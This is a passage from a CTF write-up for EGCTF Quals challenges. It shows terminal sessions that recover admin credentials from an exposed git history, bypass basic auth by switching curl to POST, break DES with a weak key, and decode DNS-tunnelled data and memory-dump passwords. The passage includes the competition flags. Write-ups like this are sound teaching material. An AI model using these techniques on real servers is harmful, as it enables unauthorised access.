-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=S;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=S;O=D'
drwxr-xr-x 2 root root 4096 Nov 16 21:24 info
drwxr-xr-x 3 root root 4096 Nov 16 21:24 logs
drwxr-xr-x 36 root root 4096 Nov 16 21:24 objects
drwxr-xr-x 4 root root 4096 Nov 16 21:25 refs
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

I checked the reflog to see the commits:

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[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git reflog 
2e3e1a8 (HEAD -> master) [email protected]{0}: commit: Refining
89329fa [email protected]{1}: commit: NewFeature
dfecece [email protected]{2}: commit: Addinfo
b032cf8 [email protected]{3}: commit: Disable
5b9e491 [email protected]{4}: commit: DelCr
457168f [email protected]{5}: commit: AddUsetting
b55d897 [email protected]{6}: commit: editconf
70ae358 [email protected]{7}: commit (initial): initials
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

The commit NewFeature (89329fa) revealed a secret path (/S3cR3tPaTh):

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[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 2e3e1a8
commit 2e3e1a8c124768ecbb31e92d5c070003924b9254 (HEAD -> master)
Author: Ben ALaa <[email protected]>
Date: Thu Nov 14 23:18:26 2019 +0100

Refining

diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php
index 3d7f801..706d93b 100644
--- a/S3cR3tPaTh/config.php
+++ b/S3cR3tPaTh/config.php
@@ -419,15 +419,6 @@ $CONFIG = array(
*/
'overwriteprotocol' => '',

-/**
- * Override webroot
- * ownCloud attempts to detect the webroot for generating URLs automatically.
- * For example, if `www.example.com/owncloud` is the URL pointing to the
- * ownCloud instance, the webroot is `/owncloud`. When proxies are in use, it
- * may be difficult for ownCloud to detect this parameter, resulting in invalid URLs.
- */
-'overwritewebroot' => '',
-
/**
* Override condition
* This option allows you to define a manual override condition as a regular
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

/S3cR3tPaTh:

I could also find the credentials in one of the commits (DelCr (5b9e491)):

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[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 5b9e491
commit 5b9e491802d53d6af1ef25206ccb0765b64a248b
Author: Ben ALaa <[email protected]>
Date: Thu Nov 14 23:15:11 2019 +0100

DelCr

diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php
index 46ed4f3..72e9842 100644
--- a/S3cR3tPaTh/config.php
+++ b/S3cR3tPaTh/config.php
@@ -194,7 +194,7 @@ $CONFIG = array(
'knowledgebaseenabled' => true,

/**
- * Enables or disables avatars or user profile photos
+ /* Enables or disables avatars or user profile photos
* `true` enables avatars, or user profile photos, `false` disables them.
* These appear on the User page, on user's Personal pages and are used by some apps
* (contacts, mail, etc).
@@ -469,15 +469,7 @@ $CONFIG = array(



-
-/**
-* Admin Credentials
-**/
-
-
-'Admin_Login' => 'Administrator'
-'Admin_Password' => '[email protected]&'
-
+/** Delete Admin creds. **/


/**
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

Web: Tamp3rat0r

Challenge Description:

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Some one hacked us, we are sure that our password is so strong!
We've no idea what's happening!
Can you check if our security is solid or not!
http://167.71.248.246/secure/

Solution:

This was the easiest web challenge, by visiting the site we get asked for authentication:

As the description said, the password is strong so bruteforcing the basic auth is not the solution, the challenge name is Tamp3rat0r so I tried tampering with the request method:

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[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl http://167.71.248.246/secure/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>

<address>Apache/2.4.29 (Ubuntu) Server at 167.71.248.246 Port 80</address>
</body></html>
[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl -X POST http://167.71.248.246/secure/
our secret flag is: EGCTF{0xc7d22f_is_a_t4mp3rat0r}
[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r#

Crypto: Des amies

Challenge Description:

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nc 167.71.93.117 9000

Hint:

1
Strong key!

Solution:

By connecting to that port we get asked for a name, then we get an encrypted output:

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[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# nc 167.71.93.117 9000
Name: test
Here is your personalized message: Mi!
[email protected][email protected]\a"?K4$y N
t-4QV
]Khe-װWa58ky

Bye

^C
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

From the challenge name I assumed that the message is DES encrypted so I tried getting an encrypted message then sending it back again to see if I’ll get the decrypted result.
I sent 1, then I saved the output to a file and called it out.1

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[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 
Name: Here is your personalized message: [email protected]NJN4X0FƤ߃&
[Mڸ"*A!v.$.8v\G9(sK{~L{+
qOw|,>ԄB̃]R

Bye
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 > out.1
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# xxd out.1
00000000: 4e61 6d65 3a20 4865 7265 2069 7320 796f Name: Here is yo
00000010: 7572 2070 6572 736f 6e61 6c69 7a65 6420 ur personalized
00000020: 6d65 7373 6167 653a 20b4 4c38 4f0f 4019 message: [email protected]
00000030: e065 834d 63a3 f987 c78a 0195 ebf9 4e34 .e.Mc.........N4
00000040: 5813 30c0 46c6 a480 df83 260c 5b4d dab8 X.0.F.....&.[M..
00000050: 199c c222 2a41 2176 2ea0 ebf9 2499 edfd ..."*A!v....$...
00000060: 2e04 3876 5c47 d039 aa28 b073 a34b 14c5 ..8v\G.9.(.s.K..
00000070: 7b8e efad 7ed6 cde0 de4c 7bc1 2b0a 8f71 {...~....L{.+..q
00000080: 1c4f cde0 77d1 7c84 edeb 2c15 3e06 d484 .O..w.|...,.>...
00000090: 42ad cc83 1db5 5dd5 520a 0a42 7965 B.....].R..Bye
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

I opened the file in vi and removed Name: Here is your personalized message: and Bye:

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[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# vi out.1
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# xxd out.1
00000000: b44c 384f 0f40 19e0 6583 4d63 a3f9 87c7 [email protected]
00000010: 8a01 95eb f94e 3458 1330 c046 c6a4 80df .....N4X.0.F....
00000020: 8326 0c5b 4dda b819 9cc2 222a 4121 762e .&.[M....."*A!v.
00000030: a0eb f924 99ed fd2e 0438 765c 47d0 39aa ...$.....8v\G.9.
00000040: 28b0 73a3 4b14 c57b 8eef ad7e d6cd e0de (.s.K..{...~....
00000050: 4c7b c12b 0a8f 711c 4fcd e077 d17c 84ed L{.+..q.O..w.|..
00000060: eb2c 153e 06d4 8442 adcc 831d b55d d552 .,.>...B.....].R
00000070: 0a0a ..
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

Then I sent the encrypted message as an input, and I successfully got back the decrypted message, that’s when I knew that my approach wasn’t intended because it wants the decryption key as the flag:

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[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# cat out.1 | nc 167.71.93.117 9000
Name: Here is your personalized message: 1
Well done, now submit the key in hex format, for example, if the key is 'Winter' submit EGCTF{57696e746572} m>eMcNJN4X0FƤ߃&
[Mڸ"*A!v.$.8v\G9(sK{~L{+
qOw|,>ԄB̃]R

[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

The hint said Strong key!, so it’s probably a weak one, and DES is known for some weak keys. I searched for weak DES keys and found this Wikipedia page. I used des.online-domain-tools.com and started trying some of the keys, 0xFEFEFEFEFEFEFEFE worked:

Forensics: Data Leakage

Challenge Description:

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We acquired this memory image from the computer of the main suspect in corporate espionage case. Could you help us find what had been leaked?

flag: EGCTF{md5_hex_lowercase}

Solution:

We’re given a memory image called memdump.mem.
First thing I did was to check the image info (I used volatility):

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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/Desktop/eg-ctf-quals/forensics/dataleakage/memdump.mem)
PAE type : PAE
DTB : 0x31c000L
KDBG : 0x80544ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2019-11-05 09:22:13 UTC+0000
Image local date and time : 2019-11-05 11:22:13 +0200

[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

Then I checked the processes:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
0x000000000164bda0 svchost.exe 972 676 0x08600100 2019-11-05 09:20:17 UTC+0000
0x000000000164cda0 svchost.exe 912 676 0x086000e0 2019-11-05 09:20:17 UTC+0000
0x000000000165b230 svchost.exe 1220 676 0x08600160 2019-11-05 09:20:17 UTC+0000
0x0000000001664390 7zFM.exe 1144 1520 0x08600300 2019-11-05 09:21:53 UTC+0000
0x00000000016ba020 smss.exe 540 4 0x08600020 2019-11-05 09:20:14 UTC+0000
0x0000000001763680 alg.exe 1336 676 0x08600180 2019-11-05 09:20:45 UTC+0000
0x0000000001777658 vmtoolsd.exe 444 676 0x08600220 2019-11-05 09:20:45 UTC+0000
0x000000000178e440 winlogon.exe 632 540 0x08600060 2019-11-05 09:20:16 UTC+0000
0x00000000017eba78 VGAuthService.e 256 676 0x08600200 2019-11-05 09:20:37 UTC+0000
0x00000000018044b8 explorer.exe 1520 1488 0x086001c0 2019-11-05 09:20:19 UTC+0000
0x000000000181c3e8 csrss.exe 604 540 0x08600040 2019-11-05 09:20:15 UTC+0000
0x0000000001838c10 lsass.exe 688 632 0x086000a0 2019-11-05 09:20:16 UTC+0000
0x00000000018413e0 wuauclt.exe 1880 1112 0x086002c0 2019-11-05 09:21:30 UTC+0000
0x0000000001854140 svchost.exe 1160 676 0x08600140 2019-11-05 09:20:17 UTC+0000
0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000
0x00000000018f64a0 rundll32.exe 1356 1520 0x08600260 2019-11-05 09:20:45 UTC+0000
0x000000000197d620 wscntfy.exe 1460 1112 0x086002a0 2019-11-05 09:21:45 UTC+0000
0x00000000019a65b0 svchost.exe 1112 676 0x08600120 2019-11-05 09:20:17 UTC+0000
0x00000000019b4020 spoolsv.exe 1676 676 0x086001e0 2019-11-05 09:20:19 UTC+0000
0x0000000001a16980 svchost.exe 2024 676 0x086001a0 2019-11-05 09:20:37 UTC+0000
0x0000000001a18da0 wmiprvse.exe 740 912 0x08600240 2019-11-05 09:20:45 UTC+0000
0x0000000001a97da0 vmacthlp.exe 896 676 0x086000c0 2019-11-05 09:20:17 UTC+0000
0x0000000001ab4da0 FTK Imager.exe 592 1520 0x08600320 2019-11-05 09:21:59 UTC+0000
0x0000000001b0ad10 services.exe 676 632 0x08600080 2019-11-05 09:20:16 UTC+0000
0x0000000001b17808 vmtoolsd.exe 1496 1520 0x08600280 2019-11-05 09:20:46 UTC+0000
0x0000000001bcb830 System 4 0 0x0031c000
0x0000000002e9b440 winlogon.exe 632 540 0x08600060 2019-11-05 09:20:16 UTC+0000
0x00000000035c5c10 lsass.exe 688 632 0x086000a0 2019-11-05 09:20:16 UTC+0000
0x00000000035f0390 7zFM.exe 1144 1520 0x08600300 2019-11-05 09:21:53 UTC+0000
0x00000000038b0680 alg.exe 1336 676 0x08600180 2019-11-05 09:20:45 UTC+0000
0x0000000008cd14b8 explorer.exe 1520 1488 0x086001c0 2019-11-05 09:20:19 UTC+0000
0x0000000008da9da0 wmiprvse.exe 740 912 0x08600240 2019-11-05 09:20:45 UTC+0000
0x0000000008f02020 spoolsv.exe 1676 676 0x086001e0 2019-11-05 09:20:19 UTC+0000
0x000000000908b620 wscntfy.exe 1460 1112 0x086002a0 2019-11-05 09:21:45 UTC+0000
0x00000000090c6da0 FTK Imager.exe 592 1520 0x08600320 2019-11-05 09:21:59 UTC+0000
0x00000000091ded10 services.exe 676 632 0x08600080 2019-11-05 09:20:16 UTC+0000
0x000000000920e3e0 wuauclt.exe 1880 1112 0x086002c0 2019-11-05 09:21:30 UTC+0000
0x00000000092e7230 svchost.exe 1220 676 0x08600160 2019-11-05 09:20:17 UTC+0000
0x00000000092e8da0 vmacthlp.exe 896 676 0x086000c0 2019-11-05 09:20:17 UTC+0000
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

And I dumped the files:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# mkdir files
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 dumpfiles -D ./files/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x81862510 4 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
SharedCacheMap 0x81862510 4 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
DataSectionObject 0x814ba320 4 \Device\HarddiskVolume1\WINDOWS\system32\config\software
---
ImageSectionObject 0x8163b950 592 \Device\HarddiskVolume1\WINDOWS\system32\msvcr71.dll
DataSectionObject 0x8163b950 592 \Device\HarddiskVolume1\WINDOWS\system32\msvcr71.dll
ImageSectionObject 0x8181eb78 592 \Device\HarddiskVolume1\WINDOWS\system32\mshtml.dll
DataSectionObject 0x8181eb78 592 \Device\HarddiskVolume1\WINDOWS\system32\mshtml.dll
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

I ran the file command on all the dumped files and found 2 RAR archives:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# cd files/
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage/files# file *
file.1112.0x8144bae8.img: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
file.1112.0x81463a10.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.1112.0x814646e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
---
file.1144.0x8147e6c8.dat: RAR archive data, v5
file.1144.0x81583d98.vacb: RAR archive data, v5
---
file.972.0x8183a6e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.972.0x8183aae8.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.972.0x8183af30.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage/files#

Both of them had an image called flag.png and both of them were password protected:


Earlier when I ran psscan there was a WinRAR process running (PID : 1308 ):

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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
---
0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000
---
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

I checked the environment variables of that process and found the password there:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 envars -p 1308
Volatility Foundation Volatility Framework 2.6
Pid Process Block Variable Value
-------- -------------------- ---------- ------------------------------ -----
1308 WinRAR.exe 0x00010000 ALLUSERSPROFILE C:\Documents and Settings\All Users
1308 WinRAR.exe 0x00010000 APPDATA C:\Documents and Settings\Administrator\Application Data
1308 WinRAR.exe 0x00010000 CLIENTNAME Console
1308 WinRAR.exe 0x00010000 CommonProgramFiles C:\Program Files\Common Files
1308 WinRAR.exe 0x00010000 COMPUTERNAME EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 ComSpec C:\WINDOWS\system32\cmd.exe
1308 WinRAR.exe 0x00010000 FP_NO_HOST_CHECK NO
1308 WinRAR.exe 0x00010000 HOMEDRIVE C:
1308 WinRAR.exe 0x00010000 HOMEPATH \Documents and Settings\Administrator
1308 WinRAR.exe 0x00010000 LOGONSERVER \\EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 NUMBER_OF_PROCESSORS 1
1308 WinRAR.exe 0x00010000 OS Windows_NT
1308 WinRAR.exe 0x00010000 PASSWORD th!s!sg00d
1308 WinRAR.exe 0x00010000 Path C:\Program Files\WinRAR;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
1308 WinRAR.exe 0x00010000 PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
1308 WinRAR.exe 0x00010000 PROCESSOR_ARCHITECTURE x86
1308 WinRAR.exe 0x00010000 PROCESSOR_IDENTIFIER x86 Family 6 Model 158 Stepping 9, GenuineIntel
1308 WinRAR.exe 0x00010000 PROCESSOR_LEVEL 6
1308 WinRAR.exe 0x00010000 PROCESSOR_REVISION 9e09
1308 WinRAR.exe 0x00010000 ProgramFiles C:\Program Files
1308 WinRAR.exe 0x00010000 SESSIONNAME Console
1308 WinRAR.exe 0x00010000 SystemDrive C:
1308 WinRAR.exe 0x00010000 SystemRoot C:\WINDOWS
1308 WinRAR.exe 0x00010000 TEMP C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
1308 WinRAR.exe 0x00010000 TMP C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
1308 WinRAR.exe 0x00010000 USERDOMAIN EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 USERNAME Administrator
1308 WinRAR.exe 0x00010000 USERPROFILE C:\Documents and Settings\Administrator
1308 WinRAR.exe 0x00010000 windir C:\WINDOWS
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#


flag.png:

Forensics: Oh My Salary!

Challenge Description:

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List of employees with their salaries had been leaked. Here is the traffic captured from the network. It may contain the leaked data. Can you help?

Flag Format: EGCTF{md5_hex_lowercase}

Solution:

We’re given a pcapng file called salary_traffic.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of weird DNS queries:

All of them were looking up the same domain example.test with different base-64 encoded strings as subdomains.
I used tshark to extract all of these DNS queries and I saved them into a file:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test"
Running as user "root" and group "root". This could be dangerous.
192.168.125.145 N3q8ryccAATIxWF+.example.test
192.168.125.145 8AoAAAAAAAB6AAAA.example.test
192.168.125.145 AAAAANY3kCg6AWnJ.example.test
192.168.125.145 Ic9uESaH5GfcRZ9l.example.test
192.168.125.145 KuuWZ/LK8Hnb\nmS+.example.test
---
192.168.125.145 GQAYQB0AGEALgB0A.example.test
192.168.125.145 HgAdAAAABQKAQDQb.example.test
192.168.125.145 KHeApTVARUGAQAgA.example.test
192.168.125.145 AAAAAA=\n.example.test
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" > out.txt
Running as user "root" and group "root". This could be dangerous.
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

Then by using a text editor I removed the ip address, .example.test and the new lines:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# cat out.txt 
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\n
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

If you look carefully you’ll notice that it has a lot of new line escapes, so I used python to print the final base-64 data and save them into a file:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print("N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K67BU5v
I+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlRcskmZD
D25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUYYfTAlI
\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7DALF6zI
